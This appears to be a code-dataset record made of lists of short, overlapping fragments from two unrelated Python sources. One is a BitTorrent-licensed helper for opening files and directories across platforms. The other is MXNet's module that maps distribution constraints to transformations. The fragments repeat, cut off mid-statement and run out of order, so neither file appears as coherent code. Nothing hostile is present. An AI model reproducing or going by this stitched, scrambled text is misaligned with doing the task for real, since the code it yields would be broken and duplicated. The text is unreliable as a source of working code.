launchpath_mac(path): # BUG: this is untested", "os.name == 'posix': for b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" %", "launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if", "\"open,\" \"launch,\" or \"start\" # files and directories # written by <NAME> import", "express or implied. See the License # for the specific language governing rights", "copy of the License at http://www.bittorrent.com/license/. # # Software distributed under the License", "an AS IS basis, # WITHOUT WARRANTY OF ANY KIND, either express or", "(the License). You may not copy or use this file, in either #", "under the License is distributed on an AS IS basis, # WITHOUT WARRANTY", "BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT,", "may not copy or use this file, in either # source code or", "form, except in compliance with the License. You # may obtain a copy", "def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files", "BitTorrent Open Source License # Version 1.1 (the License). You may not copy", "the # License. # LaunchPath -- a cross platform way to \"open,\" \"launch,\"", "and directories # written by <NAME> import os can_launch_files = False posix_browsers =", "'%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser = b", "# LaunchPath -- a cross platform way to \"open,\" \"launch,\" or \"start\" #", "License at http://www.bittorrent.com/license/. # # Software distributed under the License is distributed on", "can_launch_files = True launchpath = launchpath_nt elif os.name == 'mac': can_launch_files = True", "in either # source code or executable form, except in compliance with the", "True launchpath = launchpath_mac elif os.name == 'posix': for b in posix_browsers: if", "default_posix_browser, path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name ==", "governing rights and limitations under the # License. # LaunchPath -- a cross", "may obtain a copy of the License at http://www.bittorrent.com/license/. # # Software distributed", "can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser", "posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser = '' def", "distributed on an AS IS basis, # WITHOUT WARRANTY OF ANY KIND, either", "of this file are subject to the BitTorrent Open Source License # Version", "WARRANTY OF ANY KIND, either express or implied. See the License # for", "with the License. You # may obtain a copy of the License at", "way to \"open,\" \"launch,\" or \"start\" # files and directories # written by", "if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser", "files and directories # written by <NAME> import os can_launch_files = False posix_browsers", "or use this file, in either # source code or executable form, except", "KIND, either express or implied. See the License # for the specific language", "posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True", "to the BitTorrent Open Source License # Version 1.1 (the License). You may", "contents of this file are subject to the BitTorrent Open Source License #", "http://www.bittorrent.com/license/. # # Software distributed under the License is distributed on an AS", "basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied. See the", "License # Version 1.1 (the License). You may not copy or use this", "# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License", "written by <NAME> import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo", "untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path)", "== 'posix': for b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\"))", "subject to the BitTorrent Open Source License # Version 1.1 (the License). You", "a cross platform way to \"open,\" \"launch,\" or \"start\" # files and directories" ]
[ "from numbers import Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from", "distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY", "return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound - constraint._lower_bound return ComposeTransform([SigmoidTransform(), AffineTransform(loc,", "`constraint`, by default None. \"\"\" # Decorator mode if factory is None: return", "ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special", "@biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def", "1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval)", "License for the # specific language governing permissions and limitations # under the", "lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint,", "(ASF) under one # or more contributor license agreements. See the NOTICE file", "under the License. # coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations from", "to the domain specified by `constraint`. Parameters ---------- constraint : Type or Object", "given a `constraint`, by default None. \"\"\" # Decorator mode if factory is", "and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if", "raise TypeError('Expected constraint to be either a Constraint subclass or instance, ' 'but", "factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although", "software distributed under the License is distributed on an # \"AS IS\" BASIS,", "domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not used in this", "<filename>python/mxnet/gluon/probability/transformation/domain_map.py # Licensed to the Apache Software Foundation (ASF) under one # or", "constraint -> constraint -> transformation self._storage = {} super(domain_map, self).__init__() def register(self, constraint,", "under the License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES", "additional information # regarding copyright ownership. The ASF licenses this file # to", "= isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound", "# \"License\"); you may not use this file except in compliance # with", "Licensed to the Apache Software Foundation (ASF) under one # or more contributor", "or more contributor license agreements. See the NOTICE file # distributed with this", "OR CONDITIONS OF ANY # KIND, either express or implied. See the License", "Foundation (ASF) under one # or more contributor license agreements. See the NOTICE", "unconstrained space to the domain specified by `constraint`. Parameters ---------- constraint : Type", "Apache Software Foundation (ASF) under one # or more contributor license agreements. See", "to be either a Constraint subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint]", "decide to keep it for the purpose of consistency. # pylint: disable=unused-argument return", "outputs a `transformation` given a `constraint`, by default None. \"\"\" # Decorator mode", "Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for", "in compliance # with the License. You may obtain a copy of the", "implied. See the License for the # specific language governing permissions and limitations", "or agreed to in writing, # software distributed under the License is distributed", "__all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for registering and", "purpose of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def", "unconstrained space to a given domain. \"\"\" from numbers import Number from .transformation", "license agreements. See the NOTICE file # distributed with this work for additional", "that outputs a `transformation` given a `constraint`, by default None. \"\"\" # Decorator", "Parameters ---------- constraint : Type or Object A class of constraint or an", "or an object of constraint factory : callable A function that outputs a", "'but got {}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self, constraint): try: factory", "\"License\"); you may not use this file except in compliance # with the", "consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return", "factory) if isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint, type) or not", "factory : callable A function that outputs a `transformation` given a `constraint`, by", "isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc", "def _transform_to_interval(constraint): # Handle the special case of the unit interval. lower_is_0 =", "either express or implied. See the License for the # specific language governing", "bijections/transformations \"\"\" def __init__(self): # constraint -> constraint -> transformation self._storage = {}", "self._storage[constraint] = factory return factory def __call__(self, constraint): try: factory = self._storage[type(constraint)] except", "numbers import Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint", "the purpose of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq)", "constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0", "== 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0 and", "factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint, type)", "not use this file except in compliance # with the License. You may", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to", "# or more contributor license agreements. See the NOTICE file # distributed with", "limitations # under the License. # coding: utf-8 \"\"\"Classes for registering and storing", "specified by `constraint`. Parameters ---------- constraint : Type or Object A class of", "case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0", "of constraint or an object of constraint factory : callable A function that", "WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the", "@biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case of the unit", "a `constraint`, by default None. \"\"\" # Decorator mode if factory is None:", "by default None. \"\"\" # Decorator mode if factory is None: return lambda", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "Although `constraint` is not used in this factory function, # we decide to", "if factory is None: return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint", "upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return", "# regarding copyright ownership. The ASF licenses this file # to you under", "more contributor license agreements. See the NOTICE file # distributed with this work", "if lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound -", "type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either a Constraint", "ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ =", "of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint):", "coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations from unconstrained space to a", "isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either a", "is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF", "import Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import", "KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to", "_transform_to_interval(constraint): # Handle the special case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound,", "@transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint):", "GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract", "import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to']", "CONDITIONS OF ANY # KIND, either express or implied. See the License for", "A class of constraint or an object of constraint factory : callable A", "domain_map(): \"\"\" Abstract Class for registering and storing mappings from domain to bijections/transformations", "work for additional information # regarding copyright ownership. The ASF licenses this file", "licenses this file # to you under the Apache License, Version 2.0 (the", "subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory return factory def", "# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either", "express or implied. See the License for the # specific language governing permissions", "You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint, type) or", "you under the Apache License, Version 2.0 (the # \"License\"); you may not", "Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1", "got {}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self, constraint): try: factory =", "License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS", "factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint)", "ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval)", "transformation self._storage = {} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation", "Decorator mode if factory is None: return lambda factory: self.register(constraint, factory) if isinstance(constraint,", "_transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)])", "['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for registering and storing mappings", "\"\"\" def __init__(self): # constraint -> constraint -> transformation self._storage = {} super(domain_map,", "lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound - constraint._lower_bound", "def _transform_to_positive(constraint): # Although `constraint` is not used in this factory function, #", "if not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive,", "under the Apache License, Version 2.0 (the # \"License\"); you may not use", "except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map()", "this factory function, # we decide to keep it for the purpose of", "= domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is", "License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "for registering and storing bijection/transformations from unconstrained space to a given domain. \"\"\"", "not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either a Constraint subclass or", "@transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case of the unit interval.", "or implied. See the License for the # specific language governing permissions and", "issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either a Constraint subclass or instance,", "distributed under the License is distributed on an # \"AS IS\" BASIS, WITHOUT", "a `transformation` given a `constraint`, by default None. \"\"\" # Decorator mode if", "or Object A class of constraint or an object of constraint factory :", "AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval)", "language governing permissions and limitations # under the License. # coding: utf-8 \"\"\"Classes", "# coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations from unconstrained space to", "(Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class", "\"\"\"Register a bijection/transformation from unconstrained space to the domain specified by `constraint`. Parameters", "ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan)", "default None. \"\"\" # Decorator mode if factory is None: return lambda factory:", "special case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound ==", "or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either a Constraint subclass", "Unless required by applicable law or agreed to in writing, # software distributed", "AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval)", "constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space to the domain specified by", "= type(constraint) if not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint", "distributed with this work for additional information # regarding copyright ownership. The ASF", "bijection/transformations from unconstrained space to a given domain. \"\"\" from numbers import Number", "= isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return SigmoidTransform()", "_transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle", "keep it for the purpose of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan)", "not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to be either", "for registering and storing mappings from domain to bijections/transformations \"\"\" def __init__(self): #", "regarding copyright ownership. The ASF licenses this file # to you under the", "utf-8 \"\"\"Classes for registering and storing bijection/transformations from unconstrained space to a given", "# KIND, either express or implied. See the License for the # specific", "this work for additional information # regarding copyright ownership. The ASF licenses this", "AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case", "Abstract Class for registering and storing mappings from domain to bijections/transformations \"\"\" def", "ANY # KIND, either express or implied. See the License for the #", "@transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not used in this factory function,", "contributor license agreements. See the NOTICE file # distributed with this work for", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "to a given domain. \"\"\" from numbers import Number from .transformation import (", "to keep it for the purpose of consistency. # pylint: disable=unused-argument return ExpTransform()", "a bijection/transformation from unconstrained space to the domain specified by `constraint`. Parameters ----------", "type(constraint) if not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected constraint to", "constraint : Type or Object A class of constraint or an object of", "from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map',", "# Handle the special case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number)", "def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space to the domain", "object of constraint factory : callable A function that outputs a `transformation` given", "See the License for the # specific language governing permissions and limitations #", "IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or", "2.0 (the # \"License\"); you may not use this file except in compliance", "not used in this factory function, # we decide to keep it for", "interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number)", "-> constraint -> transformation self._storage = {} super(domain_map, self).__init__() def register(self, constraint, factory=None):", "transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not used", "'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive)", "isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound ==", "@biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case of the", "KIND, either express or implied. See the License for the # specific language", "constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale", "\"\"\"Classes for registering and storing bijection/transformations from unconstrained space to a given domain.", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "License. # coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations from unconstrained space", "# pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(),", ".transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan,", "-1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case of", "compliance # with the License. You may obtain a copy of the License", "return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the", "return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint) if not", "WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See", "with the License. You may obtain a copy of the License at #", "information # regarding copyright ownership. The ASF licenses this file # to you", "Object A class of constraint or an object of constraint factory : callable", "may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "if isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint, type) or not issubclass(constraint,", "one # or more contributor license agreements. See the NOTICE file # distributed", "except in compliance # with the License. You may obtain a copy of", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,", "you may not use this file except in compliance # with the License.", "function that outputs a `transformation` given a `constraint`, by default None. \"\"\" #", "an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND,", "pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound,", "try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return", "either a Constraint subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory", "HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for registering", "\"\"\" Abstract Class for registering and storing mappings from domain to bijections/transformations \"\"\"", "{} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def", "Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map():", "constraint or an object of constraint factory : callable A function that outputs", "or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self,", "from domain to bijections/transformations \"\"\" def __init__(self): # constraint -> constraint -> transformation", "this file # to you under the Apache License, Version 2.0 (the #", "# # Unless required by applicable law or agreed to in writing, #", "def __init__(self): # constraint -> constraint -> transformation self._storage = {} super(domain_map, self).__init__()", "def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): #", "Version 2.0 (the # \"License\"); you may not use this file except in", "for the # specific language governing permissions and limitations # under the License.", "LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class", "`constraint`. Parameters ---------- constraint : Type or Object A class of constraint or", "NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to = domain_map()", "and constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound", "{} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space", "factory=None): \"\"\"Register a bijection/transformation from unconstrained space to the domain specified by `constraint`.", "self._storage = {} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from", "OF ANY # KIND, either express or implied. See the License for the", "BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied.", "raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to =", "Constraint): raise TypeError('Expected constraint to be either a Constraint subclass or instance, '", "constraint): try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__))", "unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound,", "License, Version 2.0 (the # \"License\"); you may not use this file except", "def __call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform", "# constraint -> constraint -> transformation self._storage = {} super(domain_map, self).__init__() def register(self,", "Type or Object A class of constraint or an object of constraint factory", "None. \"\"\" # Decorator mode if factory is None: return lambda factory: self.register(constraint,", "factory def __call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot", "this file except in compliance # with the License. You may obtain a", "None: return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint) if", "may not use this file except in compliance # with the License. You", "ASF licenses this file # to you under the Apache License, Version 2.0", "to bijections/transformations \"\"\" def __init__(self): # constraint -> constraint -> transformation self._storage =", "= factory return factory def __call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError:", "SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__", "the License. # coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations from unconstrained", "of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1", "TypeError('Expected constraint to be either a Constraint subclass or instance, ' 'but got", "# distributed with this work for additional information # regarding copyright ownership. The", ": Type or Object A class of constraint or an object of constraint", "domain. \"\"\" from numbers import Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform,", "mode if factory is None: return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint):", "on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY #", "isinstance(constraint, Constraint): constraint = type(constraint) if not isinstance(constraint, type) or not issubclass(constraint, Constraint):", "with this work for additional information # regarding copyright ownership. The ASF licenses", "the License. You may obtain a copy of the License at # #", "Constraint subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory return factory", "the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 =", "= domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not used in", "self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space to the", "agreements. See the NOTICE file # distributed with this work for additional information", "and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound - constraint._lower_bound return", "constraint to be either a Constraint subclass or instance, ' 'but got {}'.format(constraint))", "writing, # software distributed under the License is distributed on an # \"AS", "__call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {}", "instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self, constraint):", "bijection/transformation from unconstrained space to the domain specified by `constraint`. Parameters ---------- constraint", "`constraint` is not used in this factory function, # we decide to keep", "'transform_to'] class domain_map(): \"\"\" Abstract Class for registering and storing mappings from domain", "space to a given domain. \"\"\" from numbers import Number from .transformation import", "@transform_to.register(HalfOpenInterval) def _transform_to_interval(constraint): # Handle the special case of the unit interval. lower_is_0", "# Although `constraint` is not used in this factory function, # we decide", "NOTICE file # distributed with this work for additional information # regarding copyright", "is None: return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint = type(constraint)", "---------- constraint : Type or Object A class of constraint or an object", "class of constraint or an object of constraint factory : callable A function", "super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space to", "a given domain. \"\"\" from numbers import Number from .transformation import ( ExpTransform,", "1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound", "return factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): #", "it for the purpose of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq)", "the Apache License, Version 2.0 (the # \"License\"); you may not use this", "A 